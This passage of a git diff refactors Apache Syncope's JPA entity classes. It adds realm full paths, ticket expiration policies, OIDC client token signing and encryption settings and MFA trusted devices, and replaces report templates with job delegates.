setHTMLTemplate(final String htmlTemplate) { this.htmlTemplate = htmlTemplate; } - } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAPlainSchema.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAPlainSchema.java index 3299bd66124..66b77fe23d3 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAPlainSchema.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAPlainSchema.java @@ -155,7 +155,7 @@ public Implementation getValidator() { @Override public void setValidator(final Implementation validator) { checkType(validator, JPAImplementation.class); - checkImplementationType(validator, IdRepoImplementationType.VALIDATOR); + checkImplementationType(validator, IdRepoImplementationType.ATTR_VALUE_VALIDATOR); this.validator = (JPAImplementation) validator; } @@ -218,5 +218,4 @@ public String getMimeType() { public void setMimeType(final String mimeType) { this.mimeType = mimeType; } - } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPARealm.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPARealm.java index 0bbe4f191d1..9461adbce0b 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPARealm.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPARealm.java @@ -24,6 +24,7 @@ import java.util.stream.Collectors; import javax.persistence.Cacheable; import javax.persistence.CascadeType; +import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.JoinColumn; @@ -34,8 +35,6 @@ import javax.persistence.Table; import javax.persistence.UniqueConstraint; import javax.validation.constraints.Size; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.core.persistence.api.entity.AnyTemplateRealm; import org.apache.syncope.core.persistence.api.entity.AnyType; @@ -47,11 +46,13 @@ import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAccessPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAccountPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAttrReleasePolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAuthPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPasswordPolicy; +import org.apache.syncope.core.persistence.jpa.entity.policy.JPATicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.validation.entity.RealmCheck; @Entity @@ -71,6 +72,9 @@ public class JPARealm extends AbstractGeneratedKeyEntity implements Realm { @ManyToOne private JPARealm parent; + @Column(nullable = false, unique = true) + private String fullPath; + @ManyToOne(fetch = FetchType.EAGER) private JPAPasswordPolicy passwordPolicy; @@ -86,6 +90,9 @@ public class JPARealm extends AbstractGeneratedKeyEntity implements Realm { @ManyToOne(fetch = FetchType.EAGER) private JPAAttrReleasePolicy attrReleasePolicy; + @ManyToOne(fetch = FetchType.EAGER) + private JPATicketExpirationPolicy ticketExpirationPolicy; + @ManyToMany(fetch = FetchType.EAGER) @JoinTable(name = TABLE + "Action", joinColumns = @@ -120,9 +127,7 @@ public Realm getParent() { @Override public String getFullPath() { - return getParent() == null - ? SyncopeConstants.ROOT_REALM - : StringUtils.appendIfMissing(getParent().getFullPath(), "/") + getName(); + return fullPath; } @Override @@ -146,6 +151,10 @@ public void setParent(final Realm parent) { this.parent = (JPARealm) parent; } + public void setFullPath(final String fullPath) { + this.fullPath = fullPath; + } + @Override public void setAccountPolicy(final AccountPolicy accountPolicy) { checkType(accountPolicy, JPAAccountPolicy.class); @@ -221,6 +230,17 @@ public AttrReleasePolicy getAttrReleasePolicy() { return this.attrReleasePolicy; } + @Override + public TicketExpirationPolicy getTicketExpirationPolicy() { + return this.ticketExpirationPolicy; + } + + @Override + public void setTicketExpirationPolicy(final TicketExpirationPolicy policy) { + checkType(policy, JPATicketExpirationPolicy.class); + this.ticketExpirationPolicy = (JPATicketExpirationPolicy) policy; + } + @Override public boolean add(final ExternalResource resource) { checkType(resource, JPAExternalResource.class); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReport.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReport.java index 710521cac95..ac69941eb2e 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReport.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReport.java @@ -24,19 +24,14 @@ import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; -import javax.persistence.JoinColumn; -import javax.persistence.JoinTable; -import javax.persistence.ManyToMany; -import javax.persistence.ManyToOne; import javax.persistence.OneToMany; +import javax.persistence.OneToOne; import javax.persistence.Table; -import javax.persistence.UniqueConstraint; import javax.validation.constraints.NotNull; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.api.entity.ReportExec; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; import org.apache.syncope.core.persistence.jpa.validation.entity.ReportCheck; @Entity @@ -48,18 +43,17 @@ public class JPAReport extends AbstractGeneratedKeyEntity implements Report { public static final String TABLE = "Report"; + @OneToOne(optional = false) + private JPAImplementation jobDelegate; + @Column(unique = true, nullable = false) private String name; - @ManyToMany(fetch = FetchType.EAGER) - @JoinTable(name = TABLE + "Reportlet", - joinColumns = - @JoinColumn(name = "report_id"), - inverseJoinColumns = - @JoinColumn(name = "implementation_id"), - uniqueConstraints = - @UniqueConstraint(columnNames = { "report_id", "implementation_id" })) - private List reportlets = new ArrayList<>(); + @NotNull + private String mimeType; + + @NotNull + private String fileExt; private String cronExpression; @@ -69,9 +63,17 @@ public class JPAReport extends AbstractGeneratedKeyEntity implements Report { @NotNull private Boolean active = true; - @ManyToOne(fetch = FetchType.EAGER, optional = false) - @JoinColumn(name = "template_id") - private JPAReportTemplate template; + @Override + public Implementation getJobDelegate() { + return jobDelegate; + } + + @Override + public void setJobDelegate(final Implementation jobDelegate) { + checkType(jobDelegate, JPAImplementation.class); + checkImplementationType(jobDelegate, IdRepoImplementationType.REPORT_DELEGATE); + this.jobDelegate = (JPAImplementation) jobDelegate; + } @Override public String getName() { @@ -84,26 +86,23 @@ public void setName(final String name) { } @Override - public boolean add(final ReportExec exec) { - checkType(exec, JPAReportExec.class); - return exec != null && !executions.contains((JPAReportExec) exec) && executions.add((JPAReportExec) exec); + public String getMimeType() { + return mimeType; } @Override - public List getExecs() { - return executions; + public void setMimeType(final String mimeType) { + this.mimeType = mimeType; } @Override - public boolean add(final Implementation reportlet) { - checkType(reportlet, JPAImplementation.class); - checkImplementationType(reportlet, IdRepoImplementationType.REPORTLET); - return reportlets.contains((JPAImplementation) reportlet) || reportlets.add((JPAImplementation) reportlet); + public String getFileExt() { + return fileExt; } @Override - public List getReportlets() { - return reportlets; + public void setFileExt(final String fileExt) { + this.fileExt = fileExt; } @Override @@ -127,13 +126,13 @@ public void setActive(final boolean active) { } @Override - public ReportTemplate getTemplate() { - return template; + public boolean add(final ReportExec exec) { + checkType(exec, JPAReportExec.class); + return exec != null && !executions.contains((JPAReportExec) exec) && executions.add((JPAReportExec) exec); } @Override - public void setTemplate(final ReportTemplate template) { - checkType(template, JPAReportTemplate.class); - this.template = (JPAReportTemplate) template; + public List getExecs() { + return executions; } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportExec.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportExec.java index b7203fdda57..b84ce9bd458 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportExec.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportExec.java @@ -26,7 +26,6 @@ import javax.persistence.ManyToOne; import javax.persistence.Table; import org.apache.commons.lang3.ArrayUtils; -import org.apache.syncope.common.lib.types.ReportExecStatus; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.api.entity.ReportExec; @@ -71,9 +70,4 @@ public byte[] getExecResult() { public void setExecResult(final byte[] execResult) { this.execResult = Optional.ofNullable(execResult).map(ArrayUtils::toObject).orElse(null); } - - @Override - public void setStatus(final ReportExecStatus status) { - super.setStatus(status.name()); - } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportTemplate.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportTemplate.java deleted file mode 100644 index 408c5942795..00000000000 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAReportTemplate.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.persistence.jpa.entity; - -import javax.persistence.Cacheable; -import javax.persistence.Entity; -import javax.persistence.Lob; -import javax.persistence.Table; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; - -@Entity -@Table(name = JPAReportTemplate.TABLE) -@Cacheable -public class JPAReportTemplate extends AbstractProvidedKeyEntity implements ReportTemplate { - - private static final long serialVersionUID = 7755855927366231089L; - - public static final String TABLE = "ReportTemplate"; - - @Lob - private String foTemplate; - - @Lob - private String csvTemplate; - - @Lob - private String htmlTemplate; - - @Override - public String getFOTemplate() { - return foTemplate; - } - - @Override - public void setFOTemplate(final String foTemplate) { - this.foTemplate = foTemplate; - } - - @Override - public String getCSVTemplate() { - return csvTemplate; - } - - @Override - public void setCSVTemplate(final String csvTemplate) { - this.csvTemplate = csvTemplate; - } - - @Override - public String getHTMLTemplate() { - return htmlTemplate; - } - - @Override - public void setHTMLTemplate(final String htmlTemplate) { - this.htmlTemplate = htmlTemplate; - } - -} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/AbstractClientApp.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/AbstractClientApp.java index 2241f7bc29f..24211e17fa7 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/AbstractClientApp.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/AbstractClientApp.java @@ -21,22 +21,29 @@ import com.fasterxml.jackson.core.type.TypeReference; import java.util.ArrayList; import java.util.List; +import java.util.Optional; import javax.persistence.Column; +import javax.persistence.EnumType; +import javax.persistence.Enumerated; import javax.persistence.FetchType; import javax.persistence.Lob; import javax.persistence.ManyToOne; import javax.persistence.MappedSuperclass; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.types.LogoutType; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.am.ClientApp; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.entity.AbstractGeneratedKeyEntity; import org.apache.syncope.core.persistence.jpa.entity.JPARealm; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAccessPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAttrReleasePolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAAuthPolicy; +import org.apache.syncope.core.persistence.jpa.entity.policy.JPATicketExpirationPolicy; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; @MappedSuperclass @@ -53,12 +60,21 @@ public class AbstractClientApp extends AbstractGeneratedKeyEntity implements Cli @Column(unique = true, nullable = false) private Long clientAppId; - @Column + private int evaluationOrder; + private String description; - @Column + private String logo; + + @Lob + private String usernameAttributeProviderConf; + private String theme; + private String informationUrl; + + private String privacyUrl; + @ManyToOne(fetch = FetchType.EAGER) private JPARealm realm; @@ -71,9 +87,15 @@ public class AbstractClientApp extends AbstractGeneratedKeyEntity implements Cli @ManyToOne(fetch = FetchType.EAGER) private JPAAttrReleasePolicy attrReleasePolicy; + @ManyToOne(fetch = FetchType.EAGER) + private JPATicketExpirationPolicy ticketExpirationPolicy; + @Lob private String properties; + @Enumerated(EnumType.STRING) + private LogoutType logoutType; + @Override public Long getClientAppId() { return clientAppId; @@ -84,6 +106,16 @@ public void setClientAppId(final Long clientAppId) { this.clientAppId = clientAppId; } + @Override + public int getEvaluationOrder() { + return evaluationOrder; + } + + @Override + public void setEvaluationOrder(final int evaluationOrder) { + this.evaluationOrder = evaluationOrder; + } + @Override public String getName() { return name; @@ -104,6 +136,57 @@ public void setDescription(final String description) { this.description = description; } + @Override + public String getLogo() { + return logo; + } + + @Override + public void setLogo(final String logo) { + this.logo = logo; + } + + @Override + public String getTheme() { + return theme; + } + + @Override + public void setTheme(final String theme) { + this.theme = theme; + } + + @Override + public String getInformationUrl() { + return informationUrl; + } + + @Override + public void setInformationUrl(final String informationUrl) { + this.informationUrl = informationUrl; + } + + @Override + public String getPrivacyUrl() { + return privacyUrl; + } + + @Override + public void setPrivacyUrl(final String privacyUrl) { + this.privacyUrl = privacyUrl; + } + + @Override + public UsernameAttributeProviderConf getUsernameAttributeProviderConf() { + return Optional.ofNullable(usernameAttributeProviderConf). + map(conf -> POJOHelper.deserialize(conf, UsernameAttributeProviderConf.class)).orElse(null); + } + + @Override + public void setUsernameAttributeProviderConf(final UsernameAttributeProviderConf conf) { + this.usernameAttributeProviderConf = conf == null ? null : POJOHelper.serialize(conf); + } + @Override public JPAAuthPolicy getAuthPolicy() { return authPolicy; @@ -138,24 +221,25 @@ public void setAttrReleasePolicy(final AttrReleasePolicy policy) { } @Override - public Realm getRealm() { - return realm; + public TicketExpirationPolicy getTicketExpirationPolicy() { + return this.ticketExpirationPolicy; } @Override - public void setRealm(final Realm realm) { - checkType(realm, JPARealm.class); - this.realm = (JPARealm) realm; + public void setTicketExpirationPolicy(final TicketExpirationPolicy policy) { + checkType(policy, JPATicketExpirationPolicy.class); + this.ticketExpirationPolicy = (JPATicketExpirationPolicy) policy; } @Override - public String getTheme() { - return theme; + public Realm getRealm() { + return realm; } @Override - public void setTheme(final String theme) { - this.theme = theme; + public void setRealm(final Realm realm) { + checkType(realm, JPARealm.class); + this.realm = (JPARealm) realm; } @Override @@ -169,4 +253,14 @@ public List getProperties() { public void setProperties(final List properties) { this.properties = POJOHelper.serialize(properties); } + + @Override + public LogoutType getLogoutType() { + return this.logoutType; + } + + @Override + public void setLogoutType(final LogoutType logoutType) { + this.logoutType = logoutType; + } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAAuthProfile.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAAuthProfile.java index e8349e11ace..ab8b88aecd2 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAAuthProfile.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAAuthProfile.java @@ -30,6 +30,7 @@ import org.apache.syncope.common.lib.wa.GoogleMfaAuthAccount; import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; import org.apache.syncope.common.lib.wa.ImpersonationAccount; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; import org.apache.syncope.common.lib.wa.U2FDevice; import org.apache.syncope.common.lib.wa.WebAuthnDeviceCredential; import org.apache.syncope.core.persistence.api.entity.am.AuthProfile; @@ -56,6 +57,10 @@ public class JPAAuthProfile extends AbstractGeneratedKeyEntity implements AuthPr protected static final TypeReference> U2F_TYPEREF = new TypeReference>() { }; + protected static final TypeReference> MFA_TRUSTED_DEVICE_TYPEREF = + new TypeReference>() { + }; + protected static final TypeReference> IMPERSONATION_TYPEREF = new TypeReference>() { }; @@ -79,6 +84,9 @@ public class JPAAuthProfile extends AbstractGeneratedKeyEntity implements AuthPr @Lob private String u2fRegisteredDevices; + @Lob + private String mfaTrustedDevices; + @Lob private String webAuthnDeviceCredentials; @@ -121,8 +129,19 @@ public List getU2FRegisteredDevices() { } @Override - public void setU2FRegisteredDevices(final List records) { - u2fRegisteredDevices = POJOHelper.serialize(records); + public void setU2FRegisteredDevices(final List devices) { + u2fRegisteredDevices = POJOHelper.serialize(devices); + } + + @Override + public List getMfaTrustedDevices() { + return Optional.ofNullable(mfaTrustedDevices). + map(v -> POJOHelper.deserialize(v, MFA_TRUSTED_DEVICE_TYPEREF)).orElseGet(() -> new ArrayList<>(0)); + } + + @Override + public void setMfaTrustedDevices(final List devices) { + mfaTrustedDevices = POJOHelper.serialize(devices); } @Override diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAOIDCRPClientApp.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAOIDCRPClientApp.java index fbd172e5124..7c2566c078f 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAOIDCRPClientApp.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/am/JPAOIDCRPClientApp.java @@ -33,9 +33,14 @@ import javax.persistence.PreUpdate; import javax.persistence.Table; import javax.persistence.Transient; +import org.apache.syncope.common.lib.types.OIDCApplicationType; +import org.apache.syncope.common.lib.types.OIDCClientAuthenticationMethod; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionAlg; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionEncoding; +import org.apache.syncope.common.lib.types.OIDCTokenSigningAlg; import org.apache.syncope.core.persistence.api.entity.am.OIDCRPClientApp; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; @@ -58,19 +63,50 @@ public class JPAOIDCRPClientApp extends AbstractClientApp implements OIDCRPClien new TypeReference>() { }; + protected static final TypeReference> SCOPE_TYPEREF = + new TypeReference>() { + }; + @Column(unique = true, nullable = false) private String clientId; private String clientSecret; - private boolean signIdToken; + private String idTokenIssuer; + + private boolean signIdToken = true; + + @Enumerated(EnumType.STRING) + private OIDCTokenSigningAlg idTokenSigningAlg = OIDCTokenSigningAlg.none; + + private boolean encryptIdToken; + + @Enumerated(EnumType.STRING) + private OIDCTokenEncryptionAlg idTokenEncryptionAlg = OIDCTokenEncryptionAlg.none; + + @Enumerated(EnumType.STRING) + private OIDCTokenEncryptionEncoding idTokenEncryptionEncoding; + + @Enumerated(EnumType.STRING) + private OIDCTokenSigningAlg userInfoSigningAlg; + + @Enumerated(EnumType.STRING) + private OIDCTokenEncryptionAlg userInfoEncryptedResponseAlg; + + @Enumerated(EnumType.STRING) + private OIDCTokenEncryptionEncoding userInfoEncryptedResponseEncoding; private boolean jwtAccessToken; private boolean bypassApprovalPrompt = true; + private boolean generateRefreshToken = true; + @Enumerated(EnumType.STRING) - private OIDCSubjectType subjectType; + private OIDCSubjectType subjectType = OIDCSubjectType.PUBLIC; + + @Enumerated(EnumType.STRING) + private OIDCApplicationType applicationType = OIDCApplicationType.WEB; @Lob private String redirectUris; @@ -90,6 +126,20 @@ public class JPAOIDCRPClientApp extends AbstractClientApp implements OIDCRPClien @Transient private Set supportedResponseTypesSet = new HashSet<>(); + @Lob + private String scopes; + + @Transient + private Set scopesSet = new HashSet<>(); + + @Lob + private String jwks; + + private String jwksUri; + + @Enumerated(EnumType.STRING) + private OIDCClientAuthenticationMethod tokenEndpointAuthenticationMethod; + private String logoutUri; @Override @@ -117,6 +167,16 @@ public void setClientSecret(final String clientSecret) { this.clientSecret = clientSecret; } + @Override + public String getIdTokenIssuer() { + return idTokenIssuer; + } + + @Override + public void setIdTokenIssuer(final String idTokenIssuer) { + this.idTokenIssuer = idTokenIssuer; + } + @Override public boolean isSignIdToken() { return signIdToken; @@ -127,6 +187,76 @@ public void setSignIdToken(final boolean signIdToken) { this.signIdToken = signIdToken; } + @Override + public OIDCTokenSigningAlg getIdTokenSigningAlg() { + return idTokenSigningAlg; + } + + @Override + public void setIdTokenSigningAlg(final OIDCTokenSigningAlg idTokenSigningAlg) { + this.idTokenSigningAlg = idTokenSigningAlg; + } + + @Override + public boolean isEncryptIdToken() { + return encryptIdToken; + } + + @Override + public void setEncryptIdToken(final boolean encryptIdToken) { + this.encryptIdToken = encryptIdToken; + } + + @Override + public OIDCTokenEncryptionAlg getIdTokenEncryptionAlg() { + return idTokenEncryptionAlg; + } + + @Override + public void setIdTokenEncryptionAlg(final OIDCTokenEncryptionAlg idTokenEncryptionAlg) { + this.idTokenEncryptionAlg = idTokenEncryptionAlg; + } + + @Override + public OIDCTokenEncryptionEncoding getIdTokenEncryptionEncoding() { + return idTokenEncryptionEncoding; + } + + @Override + public void setIdTokenEncryptionEncoding(final OIDCTokenEncryptionEncoding idTokenEncryptionEncoding) { + this.idTokenEncryptionEncoding = idTokenEncryptionEncoding; + } + + @Override + public OIDCTokenSigningAlg getUserInfoSigningAlg() { + return userInfoSigningAlg; + } + + @Override + public void setUserInfoSigningAlg(final OIDCTokenSigningAlg userInfoSigningAlg) { + this.userInfoSigningAlg = userInfoSigningAlg; + } + + @Override + public OIDCTokenEncryptionAlg getUserInfoEncryptedResponseAlg() { + return userInfoEncryptedResponseAlg; + } + + @Override + public void setUserInfoEncryptedResponseAlg(final OIDCTokenEncryptionAlg userInfoEncryptedResponseAlg) { + this.userInfoEncryptedResponseAlg = userInfoEncryptedResponseAlg; + } + + @Override + public OIDCTokenEncryptionEncoding getUserInfoEncryptedResponseEncoding() { + return userInfoEncryptedResponseEncoding; + } + + @Override + public void setUserInfoEncryptedResponseEncoding(final OIDCTokenEncryptionEncoding encoding) { + this.userInfoEncryptedResponseEncoding = encoding; + } + @Override public boolean isJwtAccessToken() { return jwtAccessToken; @@ -147,6 +277,16 @@ public void setBypassApprovalPrompt(final boolean bypassApprovalPrompt) { this.bypassApprovalPrompt = bypassApprovalPrompt; } + @Override + public boolean isGenerateRefreshToken() { + return generateRefreshToken; + } + + @Override + public void setGenerateRefreshToken(final boolean generateRefreshToken) { + this.generateRefreshToken = generateRefreshToken; + } + @Override public OIDCSubjectType getSubjectType() { return subjectType; @@ -157,6 +297,16 @@ public void setSubjectType(final OIDCSubjectType subjectType) { this.subjectType = subjectType; } + @Override + public OIDCApplicationType getApplicationType() { + return applicationType; + } + + @Override + public void setApplicationType(final OIDCApplicationType applicationType) { + this.applicationType = applicationType; + } + @Override public Set getSupportedGrantTypes() { return supportedGrantTypesSet; @@ -167,6 +317,43 @@ public Set getSupportedResponseTypes() { return supportedResponseTypesSet; } + @Override + public Set getScopes() { + return scopesSet; + } + + @Override + public String getJwks() { + return jwks; + } + + @Override + public void setJwks(final String jwks) { + this.jwks = jwks; + } + + @Override + public String getJwksUri() { + return jwksUri; + } + + @Override + public void setJwksUri(final String jwksUri) { + this.jwksUri = jwksUri; + } + + @Override + public OIDCClientAuthenticationMethod getTokenEndpointAuthenticationMethod() { + return tokenEndpointAuthenticationMethod; + } + + @Override + public void setTokenEndpointAuthenticationMethod( + final OIDCClientAuthenticationMethod tokenEndpointAuthenticationMethod) { + + this.tokenEndpointAuthenticationMethod = tokenEndpointAuthenticationMethod; + } + @Override public String getLogoutUri() { return logoutUri; @@ -192,6 +379,9 @@ protected void json2list(final boolean clearFirst) { if (supportedResponseTypes != null) { getSupportedResponseTypes().addAll(POJOHelper.deserialize(supportedResponseTypes, RESPONSE_TYPE_TYPEREF)); } + if (scopes != null) { + getScopes().addAll(POJOHelper.deserialize(scopes, SCOPE_TYPEREF)); + } } @PostLoad @@ -211,5 +401,6 @@ public void list2json() { redirectUris = POJOHelper.serialize(getRedirectUris()); supportedGrantTypes = POJOHelper.serialize(getSupportedGrantTypes()); supportedResponseTypes = POJOHelper.serialize(getSupportedResponseTypes()); + scopes = POJOHelper.serialize(getScopes()); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAAnyObject.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAAnyObject.java index 8a3d4b40ef1..5eaf12d1a28 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAAnyObject.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/anyobject/JPAAnyObject.java @@ -23,7 +23,6 @@ import java.util.Optional; import javax.persistence.Cacheable; import javax.persistence.CascadeType; -import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.JoinColumn; @@ -34,7 +33,7 @@ import javax.persistence.Table; import javax.persistence.UniqueConstraint; import javax.validation.Valid; -import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; import org.apache.syncope.core.persistence.api.entity.AnyType; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; import org.apache.syncope.core.persistence.api.entity.ExternalResource; @@ -50,7 +49,8 @@ import org.apache.syncope.core.persistence.jpa.validation.entity.AnyObjectCheck; @Entity -@Table(name = JPAAnyObject.TABLE) +@Table(name = JPAAnyObject.TABLE, uniqueConstraints = + @UniqueConstraint(columnNames = { "name", "type_id" })) @Cacheable @AnyObjectCheck public class JPAAnyObject @@ -61,8 +61,7 @@ public class JPAAnyObject public static final String TABLE = "AnyObject"; - @Column(unique = true) - @NotNull + @Size(min = 1) private String name; @ManyToOne(fetch = FetchType.EAGER, optional = false) @@ -77,7 +76,8 @@ public class JPAAnyObject @JoinColumn(name = "anyObject_id"), inverseJoinColumns = @JoinColumn(name = "resource_id"), - uniqueConstraints = @UniqueConstraint(columnNames = { "anyObject_id", "resource_id" })) + uniqueConstraints = + @UniqueConstraint(columnNames = { "anyObject_id", "resource_id" })) private List resources = new ArrayList<>(); @ManyToMany(fetch = FetchType.LAZY) @@ -85,7 +85,8 @@ public class JPAAnyObject @JoinColumn(name = "anyObject_id"), inverseJoinColumns = @JoinColumn(name = "anyTypeClass_id"), - uniqueConstraints = @UniqueConstraint(columnNames = { "anyObject_id", "anyTypeClass_id" })) + uniqueConstraints = + @UniqueConstraint(columnNames = { "anyObject_id", "anyTypeClass_id" })) private List auxClasses = new ArrayList<>(); @OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, mappedBy = "leftEnd") diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAccessPolicy.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAccessPolicy.java index 7159f52e44b..eb7056adb83 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAccessPolicy.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/policy/JPAAccessPolicy.java @@ -18,13 +18,10 @@ */ package org.apache.syncope.core.persistence.jpa.entity.policy; -import java.net.URI; import java.util.Optional; -import javax.persistence.Basic; import javax.persistence.Entity; import javax.persistence.Lob; import javax.persistence.Table; -import org.apache.commons.lang3.BooleanUtils; import org.apache.syncope.common.lib.policy.AccessPolicyConf; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; @@ -37,88 +34,9 @@ public class JPAAccessPolicy extends AbstractPolicy implements AccessPolicy { public static final String TABLE = "AccessPolicy"; - @Basic - private Integer aporder = 0; - - @Basic - private Boolean enabled = true; - - @Basic - private Boolean ssoEnabled = true; - - @Basic - private Boolean requireAllAttributes = true; - - @Basic - private Boolean caseInsensitive; - - private String unauthorizedRedirectUrl; - @Lob private String jsonConf; - @Override - public int getOrder() { - return Optional.ofNullable(aporder).orElse(0); - } - - @Override - public void setOrder(final int order) { - this.aporder = order; - } - - @Override - public boolean isEnabled() { - return BooleanUtils.isNotFalse(enabled); - } - - @Override - public void setEnabled(final boolean enabled) { - this.enabled = enabled; - } - - @Override - public boolean isSsoEnabled() { - return BooleanUtils.isNotFalse(ssoEnabled); - } - - @Override - public void setSsoEnabled(final boolean ssoEnabled) { - this.ssoEnabled = ssoEnabled; - } - - @Override - public boolean isRequireAllAttributes() { - return BooleanUtils.isNotFalse(requireAllAttributes); - } - - @Override - public void setRequireAllAttributes(final boolean requireAllAttributes) { - this.requireAllAttributes = requireAllAttributes; - } - - @Override - public boolean isCaseInsensitive() { - return BooleanUtils.isNotFalse(caseInsensitive); - } - - @Override - public void setCaseInsensitive(final boolean caseInsensitive) { - this.caseInsensitive = caseInsensitive; - } - - @Override - public URI getUnauthorizedRedirectUrl() { - return 